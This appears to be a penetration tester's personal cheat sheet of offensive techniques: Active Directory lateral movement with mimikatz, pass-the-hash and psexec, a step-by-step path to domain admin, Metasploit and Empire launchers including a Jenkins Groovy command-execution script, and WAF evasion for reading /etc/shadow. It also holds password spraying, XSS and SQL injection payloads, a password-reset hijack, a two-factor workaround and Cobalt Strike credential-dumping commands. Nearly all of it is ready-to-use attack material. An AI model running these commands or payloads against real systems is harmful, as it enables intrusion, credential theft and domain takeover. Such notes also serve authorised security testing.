Notes

Lateral Movement

Edit Values

edit thing specificthing value

Once in, run mimikatz
Psinject to inject into a process
Use pass the hash module to create a new process, passing users credentials to then inject into - credentials/mimikats/pth

Situational Awareness

Shell net group "Domain Admins" /domain - grabs Das

Usemodule situational_awareness/network/powerview/userhunter - searching the domain and seeing what user/group is running where on different devices

Set UserGroupIdentity "Domain Admins"

Powerview/Find_localadmin_access -searches to see where current user has local admin access to

Lateral Movement

Lateral_movement/invoke_psex or invoke_wmi

Logs user into another device to run commands there, if user doesn't have LA in current box use this to get to a box that has LA

Mimikatz

Once on box as system/local admin - run mimikatz
Once run - creds to display credentials database

Psinject

Give listener and PID to inject powershell launcher into, creates new agent

PATH TO DA

Get shell - whoami
If system, get to AD user
When system, run mimikats
Ps to list processes
Psinject to process to get AD user (explorer typically, not all work)
Find DA accounts with shell net group
Userhunter to try and find Das logged in
If that doesn't work, use find local access module
Use psexec and wmi to get shells on those boxes
Run mimikatz on those boxes to gather credentials

Repeat
Get DA
If not super - bypassuac when DA

Metasploit

Listener

Use exploit/multi/handler
Set payload - to whatever your payload is that you created

Tomcat

auxiliary/scanner/http/tomcat_mgr_login - brute
Java/jsp_shell_reverse_tcp - payload from msfvenom

http://security-geek.in/2016/09/07/msfvenom-cheat-sheet/

Jenkins

Check /script for command execution - groovy script

```
def sout = new StringBuffer(), serr = new StringBuffer()
def proc = 'cmd.exe /c [launcher]'.execute()
proc.consumeProcessOutput(sout, serr)
proc.waitForOrKill(1000)
println "out> $sout err> $serr"
```

Use Empire to generate launcher

Launcher powershell LISTENER

Drupal

Drupalgeddon exploit in Metasploit

Exploit/multi/http/Drupal/drupalgeddon

ONENOTE

Footprinting

Security Trails

export API_KEY=

curl -H "APIKEY: $API_KEY" https://api.securitytrails.com/v1/domain/$DOMAIN/whois

curl -X POST -H "APIKEY: $API_KEY" -H "Content-Type: application/json" -d '{"filter":{"whois_organization": "$ORG_NAME"}}' https://api.securitytrails.com/v1/search/list\?page\=1 | jq -r '."records"[] | .hostname'

whois_email instead of org if needed

Evade WAF **********

Wildcards in commands, /???/?s = /bin/ls, will execute
/?cmd=%2f???%2f??t%20%2f???%2fp??s?? = /?cmd=cat+etc/pass
/'et''c'/sh'ad'ow
/et'c/sha'dow
https://medium.com/secjuice/waf-evasion-techniques-718026d693d8
https://github.com/Anorov/cloudflare-scrape - cloudfare scrape

Rdesktop

Kali tool to remote to 3389 and stuff

SSH

-i ~/.ssh/id_rsa USER@IP

Msspray

Invoke-MSspray -Domain <domain.com> -UserFile <list of usernames> -Password <password> | ft | tee-object -FilePath <output file>

Wordpress

/wp-json/wp/v2/users - checks for wp user disclosure
/?author=0 - try with 0 or 1 for author enumeration finding
/?s= - search function, test for XSS
/wp-config.php
/wp-content/uploads
/wp-includes
Wpsan - kali to scan wp for vulns and info

wpscan -f -u "URL" -e u,vp,vt,tt --random-agent --throttle 50

Drupal

User enumeration - ?q=admin/views/ajax/autocomplete/user/a

- /user

Silverlight

/clientaccesspolicy.xml

M - Unrestricted Silverlight Cross-Domain Access

Find IP if akamai

Nslookup origin.sitename.com

Nslookup origin-sitename.com

Website:

.do - struts, check slides for redirect test

.asp - SQLi - check pentesting guide

Webserver:

ILO or IDRAC - IPMI use metasploit modules

.action

Tomcat? Try /manager

.php - SQLi

Curl mailservers?

curl --ciphers ECDHE-RSA-AES128-SHA --tlsv1.2 DOMAIN

Findings:

Open DNS Zone Transfer:

host -t axfr <domain> <DNS>

Ike-Aggressive enabled:

Cisco Routers mostly

Ike-scan -A -P -id=test --multiline <target>

SSL related findings:

Sslscan <target>

Cisco ASA Info Disclosure:

curl -ssl -k -H "X-Aggregate_Auth:1" --data "TESTME" <url>

NTP Mode 6

ntpq -c rv <IP>

XSS:

<img%20src=x%20onerror="alert(1)">

test" bogus="alert(" onfocus="alert('(xss)')" autofocus>

--><script>alert(1)</script><!--

<body onload="alert(1)">

SRA" onmouseover="alert(1)">

SRA" onmousewheel="alert(1)">

SRA" accesskey="x" onclick="alert(1)"//

Test');alert(1)//test
<body style="height:1000px" onwheel="alert(1)">
<body style="height:1000px" onwheel="prom%25%32%33%25%32%36x70;t(1)">
Right-Click Here<menu id="xss"
onshow="prom%25%32%33%25%32%36x70;t(1)">
<a href="j[785 bytes of (
	)]javascript:alert(1);">XSS
</script><scRiPt>aLeRt(1);</script>
<h1 ondblclick=Function(`t(1)`.replace(`t`,[`a`,`l`,`e`,`r`,`t`].join(``)))()>test</h1>

W/out Reload

(JSON) <b> or <s> to check

(AJAX) <img src=# onerror=alert(1)>

Adding/modiftying headers in request

Exiting current area in source code through "}]; etc.

data:text/plain,alert('xss')

');alert(1);var b=('

```
<h1 ondblclick="console.log('test')">test</h1>
```

XML

<![CDATA[<IMG SRC=x onerror=javascript alert(1);>]]>

URL:

Javascript:alert(1)

Springbean

/health

/heapdump

/info

/loggers

/beans

HTML Injection

Canary">test123

SMTP Internal Mail Spoof

Swaks --to <email> --from <email> --server <IP> --body <text>

Encoding

double url encoding?

url then html

html then url

double html

WSDL

Try to hit /inspection.wsil to get path to wsil

Windows vm, SoapUI tool

SQLi:

https://sqlwiki.netspi.com/injectionTypes
Use a ' in requests to see if injectable
Run sqlmap with the post request
%20waitfor%20delay'0%3a0%3a20'--
;WAITFOR DELAY (0:0:5)
(select*from(select(sleep(20)))a) - MySQL
Page 332 for that good good
Admin'--
.4'/*!50000UNION*//*!50000SELECT*/1,2,3,4,5,6,7-- -

Bypass password check

INSERT - create new row of data

Foo',1,1)-- inject in the first field submitted and vary fields with however many are required

UPDATE - modify rows of data

Numbers as data

67-ASCII('A') should return 2

Fingerprinting

Oracle: 'serv'||'ices'
MS-SQL:'serv'+'ices'
MySQL:'serv' 'ices'

UNION - combines two statements of data grabbin

Test' UNION SELECT username,password,uid FROM users--

Extracting Data

Test'%20UNION%20SELECT%20null,null,null - till no error
Test'%20UNION%20SELECT%20table_name,column_name%20from%20information_schema.columns--

HOST Password Change:

If a website uses HOST header to submit new password, use target email and modify host domain to be your own, user gets password reset email and clicks link to reset it, attacker gets users password reset token, then uses that token to reset their password

Two-Factor

Cbmail.xxxxx.xxx

Duo Workaround:

Thunderbird:

Outgoing: smtp.office365.com
Incoming: outlook.office365.com

DDCS:

Burp - capture company search with request path
/dwr/call/plaincall/SearchDWR.findContacts.dwr

Cobalt Strike:

mode dns-txt: Makes things work faster
sleep 10 2: 10 second sleep with 2% jitter
Checkin

Attacks > web-driveby > scripted we delivery

Commands:

hashdump	Dumps hashes
shell net view /domain	See domain you are on
Shell net group "Domain Computers" /DOMAIN	List of computers on domain (target acquisition)
Shell dir \\(computername)\C$	Checks if computer is admin
Pth (user) (hash) powershell -w hidden	Uses mimikatz pass the hash using windows to impliment authentication
Steal_token (PID)	Use this after pth if succesful to take the PID of that, try dir again
Wmi (target computer) (smb beacon)	Magically take control of other box or something
Powershell Invoke-FindLocalAdminAccess	Uses powershell on sessions to see what user has local admin access
Psexec (target) (share) (beacon)	

SRA-nmapxmlparse

Change xml file to input/output paths

Windows Sqlmap

Open terminal, give full path to python and full path to sqlmap.py and then the options as well
C:\Python27\python.exe C:\Tools\sqlmap\sqlmap.py -r REQUEST -p PARAMS --current-user

Metasploit

Aux/scanner/http/tomcat_mgr_login - default user/pass check